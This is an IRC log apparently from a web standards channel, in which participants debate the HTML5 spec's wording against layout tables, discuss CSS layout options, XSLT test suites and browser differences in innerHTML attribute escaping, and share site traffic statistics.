[18:29:02.0000] <stvs>
Or is proving a point that tables are bad more important that the experience of people on the web?

[18:30:00.0000] <webben>
You assume I agree that various grid layouts are more important for that experience than a sane markup layer.

[18:31:00.0000] <stvs>
HTML is quite far from a "sane" markup layer any way you look at it.

[18:31:01.0000] <webben>
It's certainly ugly.

[18:31:02.0000] <stvs>
It's deeply flawed on so many planes. So preserving some imaginary perfection that was never there is misguided.

[18:31:03.0000] <webben>
But it's the best we've got for the moment.

[18:31:04.0000] <stvs>
Instead be practical

[18:31:05.0000] <stvs>
And address real world needs.

[18:32:00.0000] <stvs>
It may be shocking but people want to layout their sites.

[18:32:01.0000] <webben>
I am being practical and addressing real world needs - however, my prioritization of those needs is different to yours.

[18:32:02.0000] <webben>
This happens in the world. Hence politics.

[18:32:03.0000] <stvs>
It's not a matter of prioritization.

[18:33:00.0000] <stvs>
You can spend days arguing your objections, rather than spending an hour improving it with that attribute.

[18:33:01.0000] <stvs>
It's a matter of misplaced idealism if you ask me.

[18:34:00.0000] <webben>
It only ceases to be a matter of priorization when people's chasing after their desires interferes with delivery on those needs.

[18:35:00.0000] <webben>
Which is why the concrete questions about: why are people using table layouts today? what layouts are not possible with CSS today? are important

[18:35:01.0000] <webben>
from my perspective.

[18:35:02.0000] <stvs>
I answered that above.

[18:36:00.0000] <webben>
Not really. I actually do mean real examples. I was hoping some might be appended to the change proposal but no such luck.

[18:37:00.0000] <stvs>
Just like you calling my tests insufficient, I don't really think you want an answer. You want to ask enough questions so that you hope you don't get enough answers.

[18:37:01.0000] <stvs>
But this is honestly not a way to support your argument.

[18:37:02.0000] <stvs>
If you honestly think the attribute improves the situation, support it.

[18:37:03.0000] <stvs>
In 10 years when the grids module is out, change notes and ask people to phase it out

[18:37:04.0000] <stvs>
It's that simple.

[18:37:05.0000] <webben>
Imputing dishonesty to interlocutors doesn't really help your case...

[18:38:00.0000] <webben>
stvs: Ultimately, it's not /me/ you have to convince.

[18:38:01.0000] <stvs>
I am not saying you're dishonest.

[18:38:02.0000] <stvs>
I'm just saying you are really doing it anyway.

[18:39:00.0000] <stvs>
You are defending your position by whatever means necessary.

[18:40:00.0000] <roc>
FWIW I think a lot of browser implementors and other standards people agree that CSS desperately needs better layout tools

[18:40:01.0000] <webben>
I didn't come to this position overnight. You haven't presented me with data that's new to me, so …

[18:40:02.0000] <webben>
roc: Yep.

[18:41:00.0000] <stvs>
roc, well that's some light in the tunnel. And past the desire where are we :P ?

[18:41:01.0000] <webben>
stvs: I think it's a hard thing to spec.

[18:41:02.0000] <webben>
stvs: And we've had a backlog of catching up on more basic interoperability.

[18:42:00.0000] <stvs>
It's hard when you think there's a right solution.

[18:42:01.0000] <stvs>
There's a saying "there are no answers, only choices"

[18:42:02.0000] <roc>
a lot of things compete for attention

[18:42:03.0000] <stvs>
the primitives are obvious from other languages and frameworks, or even XUL of Mozilla.

[18:42:04.0000] <stvs>
vbox, hbox, grids, edge binding, proportional scaling

[18:43:00.0000] <webben>
stvs: It's not /just/ a case of picking one or a selection of those.

[18:43:01.0000] <roc>
e.g. alongside better layout primitives, there's better typography control, animation, accelerated graphics, various I18N features (e.g. vertical text), and so on

[18:43:02.0000] <stvs>
webben, it really is

[18:43:03.0000] <webben>
stvs: It's also a case of specifying how they interact with all the other CSS layout features.

[18:43:04.0000] <webben>
stvs: And then producing test suites etc.

[18:43:05.0000] <webben>
It's a /lot/ of work.

[18:44:00.0000] <stvs>
Well it's somehow a lot of work for CSS, while frameworks that implement such features grow up like mushrooms every day

[18:44:01.0000] <roc>
The flexbox spec is making progress both as a spec and in implementations

[18:44:02.0000] <stvs>
So, more action and less pondering might be the way

[18:44:03.0000] <webben>
stvs: And it's not like designers don't want flashy things like animations, etc.

[18:44:04.0000] <stvs>
webben, again, don't scope creep the issue at hand in attempt to make it seem impossibly hard.

[18:45:00.0000] <roc>
there is really no comparison between the difficulty of implementing a new CSS layout model and, say, a Swing or SWT layout manager

[18:45:01.0000] <stvs>
If you do that, walking out of bed will become extremely hard every morning, considering 360 degrees of freedom where you can step out.

[18:45:02.0000] <webben>
stvs: Defining interactions and writing tests is not "scope creep".

[18:45:03.0000] <webben>
stvs: And it's not impossibly hard, it's just time consuming things

[18:45:04.0000] <stvs>
rule based layouts are inherently animatable

[18:46:00.0000] <webben>
Or as Hixie's sig goes: "Impossible things just take longer"

[18:46:01.0000] <stvs>
because they are parametric. animate a parameter and they animate

[18:46:02.0000] <stvs>
that's hardly the issue here

[18:47:00.0000] <webben>
stvs: Well, all I can say is I recommend you contribute to the specs/implementations/tests. :)

[18:47:01.0000] <stvs>
roc, and why is that you'd say

[18:47:02.0000] <stvs>
roc, the current model works well for small parts of a page: a blurb summary, article, toc.

[18:47:03.0000] <roc>
Defining the interactions with all the other parts of the Web

[18:47:04.0000] <stvs>
it doesn't work well for the higher level blocks.

[18:48:00.0000] <stvs>
Not saying I solved the Issue, but here's a quicky solution: position:dynamic.

[18:48:01.0000] <roc>
Getting performance right

[18:48:02.0000] <stvs>
Now we have a new type of position with its own isolated rules.

[18:48:03.0000] <roc>
Handling all the edge cases acceptably for both performance and correctness

[18:48:04.0000] <stvs>
And we can put statis/relative/absolute elements *inside* it

[18:49:00.0000] <stvs>
Now dynamic can take the best of any of the hundreds layout kits out there that works.

[18:49:01.0000] <stvs>
And tommorow we'll wake up with a better web.

[18:49:02.0000] <stvs>
As if ;)

[18:53:00.0000] <stvs>
roc, what I find very puzzling, and yet educational, is that the w3c has always been extremely careful to not introduce inconsistent, limited, or complicated features in html/css.

[18:53:01.0000] <stvs>
And yet, if you think about it, compared to just about any other GUI layer, html/css is the most limited, complicated and inconsistent one.

[18:53:02.0000] <stvs>
And took longest to happen.

[18:54:00.0000] <stvs>
that's why thinking too much is ultimately a bad thing

[18:54:01.0000] <roc>
it's not at all true that "the w3c has always been extremely careful to not introduce inconsistent, limited, or complicated features in html/css"

[18:54:02.0000] <webben>
indeed!

[18:54:03.0000] <roc>
also, a lot of the features of HTML and CSS were introduced by browser vendors, not the W3C

[18:55:00.0000] <roc>
often in very undisciplined ways

[18:55:01.0000] <stvs>
why is this you think :)

[18:55:02.0000] <roc>
various reasons

[18:55:03.0000] <roc>
but things are getting better

[18:55:04.0000] <stvs>
may it be because browser vendors, being closer to the consumers and producers in the web can sense actual needs better.

[18:55:05.0000] <stvs>
Such as: we need layout tools

[18:56:00.0000] <stvs>
They are

[18:56:01.0000] <roc>
sure, but that doesn't excuse a lot of the crap that ended up in the Web platform due to vendors doing crazy things

[18:56:02.0000] <stvs>
Despite not being quite the engineering achievement, it works as a platform, and I like HTML5 as an effort for the most part.

[18:56:03.0000] <stvs>
It's practical, which is my kind of thing

[18:56:04.0000] <stvs>
Except for that blurb on "must not" for tables :/

[18:57:00.0000] <roc>
I missed the beginning of the argument

[18:57:01.0000] <roc>
can't everyone just use "display:table" and be happy?

[18:57:02.0000] <stvs>
roc, <stvs> I really want to discuss the language int he HTML5 spec under "Tables must not be used as layout aids. Historically, some Web authors have misused tables in HTML as a way to control their page layout."

[18:57:03.0000] <stvs>
<stvs> Such strong language is best left for the blogs of the various CSS "gurus" which aren't familiar the HTML4 spec itself suggested at one point using tables for layout (of forms, for example).

[18:57:04.0000] <stvs>
<stvs> While ideally we shouldn't rely, and normally we don't have to, unless with complex layouts, "must not" is inappropriate language considering there is no CSS alternative beside the still incomplete CSS3 grids module.

[18:58:00.0000] <roc>
ok

[18:58:01.0000] <roc>
er

[18:58:02.0000] <webben>
roc: I believe the argument is a) IE6-IE7 so no. and b) display: table doesn't have spans which are required for some layouts (what layouts?)

[18:58:03.0000] <stvs>
roc, webben mentioned role="presentation" which solves the "what is this table about" issue but he doesn't really support it

[18:58:04.0000] <roc>
display:table IS a CSS alternative

[18:58:05.0000] <stvs>
check webben's notes :P

[18:59:00.0000] <stvs>
furthermore is honestly recreating table, rows and cells via arbitrary tags the long sought solution?

[18:59:01.0000] <roc>
the IE<8 argument is not relevant. If you have to do something that works in IE<8 then don't even discuss modern CSS. Just use <table> because that's all you've got, and apologize.

[18:59:02.0000] <stvs>
It only makes code less maintainable.

[18:59:03.0000] <stvs>
you *need* to arrange these elements as you would a table

[18:59:04.0000] <stvs>
Except they're not a table.

[18:59:05.0000] <roc>
for screenreaders etc, it's helpful

[19:00:00.0000] <stvs>
role="presentation" is a much more comprehensible solution with the same outcome

[19:00:01.0000] <roc>
to not use <table>

[19:00:02.0000] <roc>
also, avoiding the insane HTML DOM construction rules for tables is a win

[19:00:03.0000] <stvs>
What about that attribute?

[19:00:04.0000] <roc>
whatever

[19:00:05.0000] <roc>
I'm not stickler for markup purity

[19:00:06.0000] <stvs>
:|

[19:01:00.0000] <roc>
just saying, if you want a CSS alternative to <table>, display:table is it

[19:01:01.0000] <roc>
unless you need spans I guess

[19:01:02.0000] <stvs>
And readable code :P

[19:01:03.0000] <stvs>
and IE6/7 support :P

[19:02:00.0000] <stvs>
/me .oO <div class="table"><div class="tr"><div class="td">...</div> <-- that's the bright future :P ?

[19:02:01.0000] <webben>
I don't think baking presentational expectations into the markup layer makes for more readable code.

[19:02:02.0000] <roc>
you can't have a serious conversation about the evolution of Web standards and throw in "oh it needs to work in IE<8"

[19:02:03.0000] <stvs>
webben, there are always presentational expectations in the markup

[19:03:00.0000] <stvs>
while CSS's goals are one of separation it's certainly not ideal

[19:03:01.0000] <stvs>
And it can't possibly be

[19:03:02.0000] <stvs>
It's instead "sufficient"

[19:03:03.0000] <webben>
stvs: I think minimizing those expectations is preferable.

[19:04:00.0000] <stvs>
You won't minimize anything by appointing a set of different tags for a table.

[19:04:01.0000] <webben>
(I also think it's plausible to imagine more complete separations than we have now.)

[19:04:02.0000] <stvs>
they need to be arranged exactly as a table would be

[19:04:03.0000] <stvs>
In fact that makes the markup even more dependent on CSS for interpretation

[19:04:04.0000] <webben>
stvs: well for one thing you could use classes for your bits of page that reflect the bit of page they are, not the position they hold

[19:04:05.0000] <stvs>
Which goes back to my point: separation is never ideal.

[19:04:06.0000] <stvs>
webben, that's not how display:table works

[19:05:00.0000] <stvs>
I need a table, in it rows, in it cells

[19:05:01.0000] <stvs>
Cells go from left to right

[19:05:02.0000] <stvs>
Rows top to bottom

[19:05:03.0000] <stvs>
So we solved nothing basically.

[19:05:04.0000] <roc>
it depends on what you're trying to do

[19:05:05.0000] <stvs>
A layout ;)

[19:05:06.0000] <roc>
for some kinds of markup, display:table is a good fit

[19:05:07.0000] <roc>
for others it's not

[19:05:08.0000] <stvs>
8shrug*

[19:06:00.0000] <roc>
not knowing what you're trying to do, I can't say what the right solution is

[19:06:01.0000] <roc>
flexbox solves a good number of the use cases where tables aren't quite right

[19:06:02.0000] <stvs>
To me using display:table is just the exit strategy of those who realize they need grids but spend years hating tables.

[19:06:03.0000] <stvs>
The new strategy is: let's pretend it's not a table, but make it one

[19:07:00.0000] <stvs>
I saw flexbox, it's an interesting thing

[19:07:01.0000] <stvs>
Based on XUL right?

[19:08:00.0000] <roc>
roughly

[19:09:00.0000] <webben>
stvs: Nothing in display:table stops you using content-appropriate class names. I agree it might lead you to add containers for "rows" of content that with better CSS facilities you might not need

[19:10:00.0000] <stvs>
webben, the problem is one of arranging content, less so of naming.

[19:10:01.0000] <stvs>
We'll see.

[19:11:00.0000] <stvs>
Looks like I have to go, thanks for the talk, roc, webben

[19:11:01.0000] <webben>
yw - thanks for your thoughts

[19:45:00.0000] <oojacoboo>
if you do something like td {border-right: 3px solid #000;} td.last-child {border-right: 0;}

[19:45:01.0000] <oojacoboo>
why is it that the table wouldn't paint itself properly

[19:46:00.0000] <oojacoboo>
in other words, it counts that 3px into the width of the table cell/column

[19:46:01.0000] <oojacoboo>
instead of calculating it without that 3px, it just adds it to the width of that column instead of repainting, this appears to be happening in both firefox and chrome too :/

[19:47:00.0000] <oojacoboo>
is this common behavior?  I mean, in most cases this would result in a correct looking table, but if you are using a background image without repeating it in one of the cells in the column, you will clearly have a width issue, and trying to override the width calculating doesn't seem to help

[19:48:00.0000] <oojacoboo>
in my case I was able to solve the issue by using border-left and first-child, but I figured I would bring this up here to see if anyone knew/gave-a-shit

[00:04:00.0000] <zcorpan>
Hixie: could you remove the "..." in live dom viewer? :)

[01:53:00.0000] <jgraham>
hsivonen: Agreed that not changing unpaired surrogates in document.write might be simpler to implement, although it is conceptually harder to understand, and harder to test (because I can't just reuse parser tests as document.write tests)

[02:08:00.0000] <jgraham>
People really use "non-shortest form"? That seems unnecessarily mealy-mouthed

[02:24:00.0000] <zcorpan>
if you quote "overlong form" and "non-shortest form" in google search, the difference is even greater

[02:28:00.0000] <Philip`>
"non-shortest form" seems more accurate and unambiguous

[02:29:00.0000] <Philip`>
since it's not clear what length is considered overlong

[02:29:01.0000] <Philip`>
unless you already know that only the shortest form is allowed

[02:30:00.0000] <jgraham>
Which, in context seems like an entirely reasonable thing to assume

[02:37:00.0000] <zcorpan>
"utf-8 overlong" - 12600 results. "utf-8 "overlong"" - 80900 results

[02:38:00.0000] <zcorpan>
"utf-8 non-shortest" - 25000. "utf-8 "non-shortest"" - 5690

[02:38:01.0000] <zcorpan>
conclusion: ???

[02:39:00.0000] <Philip`>
Google's result counts are extremely rough approximations and should not be taken seriously?

[02:51:00.0000] <jgraham>
Anyone know of a testsuite for XSLT in HTML?

[03:03:00.0000] <Ms2ger>
Yay, -webkit-linear-gradient

[03:13:00.0000] <hsivonen>
jgraham: if you find a test suite for XSLT in HTML, please let me know

[03:14:00.0000] <hsivonen>
(if you write one, please let me know in that case, too)

[03:14:01.0000] <jgraham>
hsivonen: Writing one is what I really want to avoid :)

[03:53:00.0000] <david_carlisle>
jgraham: only public xslt test suite I know of is http://www.w3.org/Style/XSL/TestSuite/

[03:53:01.0000] <david_carlisle>
unfortunately xslt2 one is w3c only

[03:53:02.0000] <david_carlisle>
not sure how much work would be to convert that for html input

[03:57:00.0000] <david_carlisle>
er no that's mainly xsl-fo there is an xslt collection somewhere...

[03:58:00.0000] <jgraham>
david_carlisle: Thanks. I am also (perhaps mostly) interested in tests using the DOM APIs for XSLT https://developer.mozilla.org/en/using_the_mozilla_javascript_interface_to_xsl_transformations since that seems to be the main way one can pass a text/html-created DOM into a transform

[03:59:00.0000] <jgraham>
Unless there is some other way to do that I can't think of right now

[03:59:01.0000] <jgraham>
which is likely given my relationship with XSLT

[04:02:00.0000] <david_carlisle>
jgaraham, yes i figured you's want that input, but given a pile of xslt scripts and expected output, calling it with a particular APi is just a matter of munging it with perl or something isn't it:-)

[04:02:01.0000] <david_carlisle>
http://www.oasis-open.org/committees/workgroup.php?wg_abbrev=xslt

[04:02:02.0000] <david_carlisle>
appears to be the most recent attempt at a public xslt 1 test suite

[04:02:03.0000] <jgraham>
david_carlisle: Yeah, probably

[04:06:00.0000] <jgraham>
"This Group Has Been Deactivated" — that totally makes it sound like it was comprised of rouge killing machines from the future

[04:16:00.0000] <Workshiva>
jgraham: Who else would design xslt?

[04:20:00.0000] <david_carlisle>
Workshiva: xslt people are nice people, not killing machines (and most of them  don't wear rouge)

[04:32:00.0000] <Workshiva>
david_carlisle: I don't think they wear rouge, they kill rouge

[04:45:00.0000] <stvs>
I still don't know why it says "Please leave your sense of logic at the door" :D

[04:46:00.0000] <annevk>
sounds like you didn't follow the advice

[04:47:00.0000] <stvs>
:(

[04:50:00.0000] <zcorpan>
stvs: it's because if you try to apply logic to html, you end up with MULTIFAIL

[04:55:00.0000] <stvs>
zcorpan :(

[04:56:00.0000] <stvs>
The web is working so what does this mean then :)

[04:56:01.0000] <stvs>
Logic is irrelevant to the things working.

[04:56:02.0000] <stvs>
And there's some truth in that.

[05:06:00.0000] <hsivonen>
stvs: btw, if you want to argue the layout table thing, the correct procedure is to join the HTML WG and to submit a Change Proposal for http://www.w3.org/html/wg/tracker/issues/130

[05:44:00.0000] <stvs>
hsivonen, I might check it out. Thanks

[05:46:00.0000] <annevk>
stvs, didn't want to put you off

[05:46:01.0000] <annevk>
stvs, it basically means that browsers are crazy pieces of software full of holes and the web somehow still works great

[05:46:02.0000] <stvs>
annevk, nah, I see your point :)

[05:46:03.0000] <annevk>
stvs, and that you typically should not approach what browsers do rationally

[05:47:00.0000] <stvs>
I am becomig increasingly convinced that the criteria for success of technology we find intuitive are not quite correct.

[05:47:01.0000] <annevk>
I have wondered about that too

[05:48:00.0000] <annevk>
it seems a certain amount of imperfection does great for adoption

[05:48:01.0000] <annevk>
HTML and PHP being nice examples of that

[05:48:02.0000] <stvs>
It is. The users are needy: they always go out of scope in order to stretch a spec to fill new needs.

[05:48:03.0000] <stvs>
Users are imperfect: they make mistakes.

[05:50:00.0000] <stvs>
And users do not care about ideals: they have a specific line and they draw a straight line from their need to the closest approximation of a solution.

[05:50:01.0000] <stvs>
specific need*

[07:51:00.0000] <karlcow>
MikeSmith: https://github.com/chriso/cli "cli is a tool for rapidly building NodeJS command line apps"

[08:18:00.0000] <karlcow>
hmmm in cookies token production rules TAB is excluded two times in RFC 2616

[08:18:01.0000] <karlcow>
:) not very important

[08:18:02.0000] <karlcow>
token          = 1*<any CHAR except CTLs or separators>

[08:19:00.0000] <karlcow>
CTLs include (0-32) and separators include HT (9)

[08:19:01.0000] <karlcow>
which is in CTLs

[08:52:00.0000] <hsivonen>
http://www.exploringbinary.com/php-hangs-on-numeric-value-2-2250738585072011e-308/

[08:52:01.0000] <hsivonen>
floats are hard

[08:53:00.0000] <karlcow>
/me has suddenly collapsing contexts. Japanese floating world and hard/rigor

[08:59:00.0000] <Philip`>
Apparently it's a bug in their strtod, but is it caused by some PHP-specific modifications or is it a common problem in other applications based on the same original strtod?

[09:00:00.0000] <bga_>
we need "project" nomonkeypatching.js

[09:00:01.0000] <paul_irish>
bga_: what'd that be?

[09:00:02.0000] <bga_>
which makes appendChild ... readonly fields

[09:01:00.0000] <bga_>
and do not let shoot you in your own leg

[09:01:01.0000] <Philip`>
(The code is reportedly http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_strtod.c?revision=255174&view=markup&pathrev=260750 which looks like it's been slightly modified)

[09:17:00.0000] <karlcow>
http://webintents.appspot.com/ (maybe already known)

[09:41:00.0000] <jgraham>
Hm, is the innerHTML serialization algorithm missing some magic needed for certain attributes (href, on*) containing ", or am I just missing something?

[09:42:00.0000] <annevk>
/me looks

[09:43:00.0000] <annevk>
did you read the bit about escaping?

[09:44:00.0000] <annevk>
it says " becomes &quot;

[09:44:01.0000] <annevk>
among other things

[09:44:02.0000] <jgraham>
Yes

[09:44:03.0000] <jgraham>
Which it does

[09:44:04.0000] <jgraham>
Except in some cases, afaict

[09:44:05.0000] <annevk>
it says "the attribute's value, escaped as described below in attribute mode"

[09:45:00.0000] <annevk>
right, " does not become &quot; when it is Text or some such

[09:45:01.0000] <annevk>
only as attribute value

[09:46:00.0000] <jgraham>
http://software.hixie.ch/utilities/js/live-dom-viewer/saved/758

[09:47:00.0000] <jgraham>
Oh, WebKit does what the spec says

[09:47:01.0000] <jgraham>
Gecko is bizzare

[09:47:02.0000] <jgraham>
and Opera never escapes

[09:48:00.0000] <annevk>
Yeah, Chrome/Safari do the sane thing

[09:48:01.0000] <annevk>
Opera is dangerous

[09:48:02.0000] <annevk>
:/

[09:48:03.0000] <jgraham>
OK, I was confused by a test that checked for Opera behaviour that also passed in Gecko

[09:48:04.0000] <zcorpan>
opera escapes when the value contains both " and '

[09:49:00.0000] <zcorpan>
annevk: what's dangerous?

[09:49:01.0000] <annevk>
I blame my fever

[09:51:00.0000] <annevk>
http://warpspire.com/posts/url-design/ -- nice that people still care (I guess karlcow might have posted this already)

[09:52:00.0000] <karlcow>
I seen it but I do not remember if I posted it ;)

[09:53:00.0000] <karlcow>
though there are part of it which makes me a bit… worried :)

[09:53:01.0000] <jgraham>
OK, but http://software.hixie.ch/utilities/js/live-dom-viewer/saved/760 is not escaped

[09:53:02.0000] <jgraham>
in WebKit

[09:54:00.0000] <annevk>
wait how is that different?

[09:55:00.0000] <annevk>
and what is 759?

[09:55:01.0000] <jgraham>
javascript: uris seem to be special

[09:56:00.0000] <annevk>
o_O

[09:57:00.0000] <jgraham>
I guess this is how I know it is time to go home :)

[09:57:01.0000] <annevk>
stvs, ^^, relevant to your interests :)

[09:57:02.0000] <jgraham>
/me wonders if that quirk is required for compat

[10:00:00.0000] <gsnedders>
jgraham: Did you se my commit to html5lib?

[10:11:00.0000] <annevk>
http://trac.webkit.org/browser/trunk/WebCore/editing/MarkupAccumulator.cpp#L161 it does not cite compat

[10:11:01.0000] <annevk>
just crazy

[11:00:00.0000] <jgraham>
annevk: I would be scared that someone does eval(extract_javascript_from_attribute(foo.innerHTML))

[11:00:01.0000] <jgraham>
gsnedders: Well I saw you siad you made one

[11:00:02.0000] <annevk>
it sort of seems that is exactly what they cater for

[11:00:03.0000] <jgraham>
I didn't look yet

[11:01:00.0000] <annevk>
because they do not do it when the URL contains a '

[11:01:01.0000] <annevk>
not sure what is considered a URL attribute

[11:01:02.0000] <annevk>
Peter` can probably figure that out :hint:

[11:03:00.0000] <Peter`>
Figuring out what an URL attribute is?

[11:03:01.0000] <annevk>
"Simply because a few thousand XML weenies think the world revolves around XML doesn't mean that the Real World contains, to a first approximation, anything but HTML." -- John Cowan

[11:03:02.0000] <annevk>
I think stuff just got real

[11:04:00.0000] <annevk>
Peter`, see the link above. It's about serialization of attributes in the context of e.g. innerHTML

[11:06:00.0000] <Hixie>
annevk: url?

[11:07:00.0000] <Peter`>
I'm totally missing the context here, I actually got home about ten minutes ago

[11:07:01.0000] <Ms2ger>
http://lists.w3.org/Archives/Public/public-html-xml/2011Jan/0049.html

[11:09:00.0000] <hober>
So, I'm becoming part of the vast, browser-wing conspiracy: I've taken a job on the Safari / WebKit team at Apple.

[11:10:00.0000] <Hixie>
grats!

[11:10:01.0000] <Peter`>
Congratulations :)

[11:12:00.0000] <paul_irish>
whoa! awesome! that's huge hober. :D

[11:12:01.0000] <gsnedders>
hober: The browsers are taking over! Soon nothing else will be relevent!

[11:13:00.0000] <zcorpan>
hober: welcome to the dark side

[11:14:00.0000] <hober>
thanks :)

[11:14:01.0000] <othermaciej>
hober: now you can truly be a part of ruining the Web and hating everything good

[11:15:00.0000] <jgraham>
hober: You're joining both the vast-browser-wing conspiracy *and* the vast Apple conspiracy all at the same time?

[11:15:01.0000] <hober>
othermaciej: excellent. muhahahahaa.

[11:15:02.0000] <hober>
jgraham: yeah, I figured I'd kill 2 conspiratorial birds with one stone.

[11:15:03.0000] <Ms2ger>
othermaciej, you're off the cabal's PR subcommittee

[11:15:04.0000] <othermaciej>
oh yeah, since it's Apple, make sure to close everything in your house that's currently open

[11:17:00.0000] <Hixie>
lol

[11:18:00.0000] <Hixie>
Ms2ger: thanks

[11:18:01.0000] <gsnedders>
Ms2ger: Shh, that comittee doesn't exist!

[11:18:02.0000] <Hixie>
that mailing list looks like a lot of pain

[11:18:03.0000] <Ms2ger>
No,seriously?

[11:18:04.0000] <Ms2ger>
gsnedders, I guess I'm off too now

[11:31:00.0000] <annevk>
congrats hober

[11:31:01.0000] <hsivonen>
hober: congratulations

[11:32:00.0000] <hober>
thanks :)

[11:32:01.0000] <Peter`>
http://twitter.com/#!/sgalineau/status/22375757045047296

[11:32:02.0000] <hober>
looking forward to it, but dreading the move

[12:03:00.0000] <heycam>
nice work hober!

[12:17:00.0000] <mpilgrim>
any opera employees around?

[12:18:00.0000] <zcorpan>
/me is

[12:18:01.0000] <mpilgrim>
i'm seeking someone to relicense this image under CC-BY-3.0-unported: http://devfiles.myopera.com/articles/4582/fig5.png

[12:18:02.0000] <mpilgrim>
from this article: http://dev.opera.com/articles/view/new-form-features-in-html5/#input-color

[12:18:03.0000] <gsnedders>
/me is

[12:19:00.0000] <mpilgrim>
for use in diveintohtml5.org and the next printed edition of "html5: up and running"

[12:20:00.0000] <zcorpan>
email patrickl@ opera.com or cmills@ opera.com

[12:20:01.0000] <mpilgrim>
i could make my own, but it's a nice image and i'm lazy

[12:20:02.0000] <mpilgrim>
in a good way (usually)

[12:20:03.0000] <mpilgrim>
ok

[12:21:00.0000] <zcorpan>
mpilgrim: btw i heard android 2.3 supports webm

[12:21:01.0000] <mpilgrim>
i heard that too

[12:22:00.0000] <mpilgrim>
can't remember where

[12:22:01.0000] <mpilgrim>
somewhere public

[12:22:02.0000] <mpilgrim>
probably here: http://developer.android.com/sdk/android-2.3-highlights.html

[12:22:03.0000] <mpilgrim>
"The platform now offers built-in support for the VP8 open video compression format and the WebM open container format."

[12:22:04.0000] <mpilgrim>
yay

[12:23:00.0000] <mpilgrim>
i wonder if handset manufacturers will ship hardware acceleration support

[12:34:00.0000] <mpilgrim>
in case people were wondering, the top search terms that brought people to http://diveintohtml5.org/ in 2010 were variations of "html5 video", "html5 forms", and "html5 canvas"

[12:34:01.0000] <mpilgrim>
in that order

[12:34:02.0000] <Workshiva>
There's a huge potential for expansion hardware in the market

[12:34:03.0000] <mpilgrim>
geolocation was a distant 4th

[12:35:00.0000] <Workshiva>
We've had graphics cards in desktop computer, surely we can fit something similar on phones :)

[12:35:01.0000] <paul_irish>
mpilgrim: interesting!  good to know

[12:35:02.0000] <mpilgrim>
i may do a whole blog post on 2010 analytics for the site

[12:36:00.0000] <zcorpan>
/me concludes video has the best profit and goes write a book on html5 video

[12:37:00.0000] <Philip`>
Surely you should make a video on HTML5 video

[12:38:00.0000] <mpilgrim>
briefly: 4 million pageviews, 2 million visitors, 1.1 million absolute unique visitors

[12:38:01.0000] <Philip`>
except HTML5 video doesn't support DRM so everyone would pirate your video and you wouldn't make any money :-(

[12:38:02.0000] <mpilgrim>
all versions of IE combined account for less than 7% of all visitors

[12:38:03.0000] <mpilgrim>
my book doesn't support DRM and it's made $160,000 so far

[12:39:00.0000] <zcorpan>
Philip`: that's it, i should write a book about how to do DRM with html5 video

[12:39:01.0000] <mpilgrim>
absolutely positioned transparent gifs over the video element?

[12:39:02.0000] <mpilgrim>
i think that's what youtube uses

[12:40:00.0000] <zcorpan>
<img src="http://spacergif.mobi/">

[12:40:01.0000] <mpilgrim>
obviously we need a spacer gif TLD

[12:41:00.0000] <Philip`>
<img src="about:spacergif">

[12:41:01.0000] <Philip`>
That'd save needless network traffic

[12:41:02.0000] <zcorpan>
maybe we should just have <spacer>

[12:42:00.0000] <mpilgrim>
iOS (iPhone+iPad+iPod) accounts for 85% of all mobile devices hitting http://diveintohtml5.org/

[12:42:01.0000] <Philip`>
/me is worried by how few errors people are reporting in the canvas tests

[12:43:00.0000] <Philip`>
False negatives will be found when people investigate test failures, but I expect false positives will survive forever

[12:44:00.0000] <zcorpan>
Philip`: i know i haven't investigated any of your tests that pass

[12:44:01.0000] <mpilgrim>
/me feels guilty for not committing his latest round of video tests

[12:45:00.0000] <gsnedders>
Philip`: Much the same is true of any test suite unless it really is strictly reviewed. CSS 2.1 is in much the same state. Just have to hope one impl actually follows the spec and not the test. :)

[12:47:00.0000] <mpilgrim>
(back to dih5 stats)...but mobile devices account for only 4% of all visits

[12:47:01.0000] <Philip`>
gsnedders: I'm more worried about tests that pass regardless of what the browser implements, rather than failing on correct behaviour, because then the test is useless and nobody will ever see it fail

[12:48:00.0000] <mpilgrim>
which makes me feel a little better about having a broken mobile stylesheet

[12:48:01.0000] <Ms2ger>
Philip`, and tests that don't match informative text will be found by Microsoft :)

[12:48:02.0000] <Workshiva>
What if there was a bounty on invalid tests?

[12:49:00.0000] <gsnedders>
Workshiva: It's very expensive reviewing test suites, so basically nobody does it.

[12:49:01.0000] <gsnedders>
The bounty would need to be raelly quite large.

[12:49:02.0000] <Workshiva>
Nono, crowdsourcing

[12:49:03.0000] <Workshiva>
Appeal to all the standards lawyers out there

[12:49:04.0000] <Ms2ger>
Hi :)

[12:50:00.0000] <zcorpan>
we shouldn't review tests, we should just write more tests

[12:51:00.0000] <Philip`>
Workshiva: It's hard to define "invalid" usefully, I think

[12:52:00.0000] <gsnedders>
A test that always passes has a low cost. A test that gives the wrong result given correct behaviour has a high cost.

[12:52:01.0000] <mpilgrim>
wow, search engines accounted for only 40% of my traffic

[12:52:02.0000] <mpilgrim>
i expected twice that much

[12:53:00.0000] <othermaciej>
clearly you need better SEO

[12:53:01.0000] <Philip`>
I think my approach is usually to try to think of errors that implementors might make, and then write a test that will fail for each error, and a test is incorrect if it won't actually fail for that error

[12:54:00.0000] <Philip`>
but by looking at a test case in isolation you can't always tell what error it was attempting to fail for

[12:54:01.0000] <Philip`>
so you can't tell whether it's incorrect

[12:54:02.0000] <mpilgrim>
if only there were some sort of consultant i could hire to improve my ranking in search engines

[12:54:03.0000] <Philip`>
and also you can't see if there's some likely error which there are no tests for

[12:55:00.0000] <zcorpan>
mpilgrim: you just need to stuff some keywords in your alt tags, that'll do the trick

[12:56:00.0000] <mpilgrim>
if only i used alt

[12:56:01.0000] <gsnedders>
Philip`: wrt public-html-testsuite, Opera still has plenty of issues in DOM with null characters

[12:56:02.0000] <mpilgrim>
wow, daringfireball.net sent me three times as much traffic as bing.com

[12:56:03.0000] <Philip`>
gsnedders: Does it have fewer than before?

[12:57:00.0000] <gsnedders>
Philip`: Yes.

[12:57:01.0000] <Philip`>
gsnedders: Okay, so at least it's making progress :-)

[12:59:00.0000] <mpilgrim>
google accounted for 98.7% of my search engine traffic

[12:59:01.0000] <mpilgrim>
what monoculture?

[13:04:00.0000] <mpilgrim>
5:28 avg. time spent on /video.html

[13:04:01.0000] <mpilgrim>
4:44 on /past.html

[13:04:02.0000] <mpilgrim>
people love them some html folklore

[13:05:00.0000] <mpilgrim>
/me makes a mental note to share that statistic with my o'reilly editor, who insisted that nobody would read a whole chapter on the history of html

[13:05:01.0000] <Philip`>
Maybe people open the page, read a paragraph, then doze off for a few minutes, then wake up and leave the page?

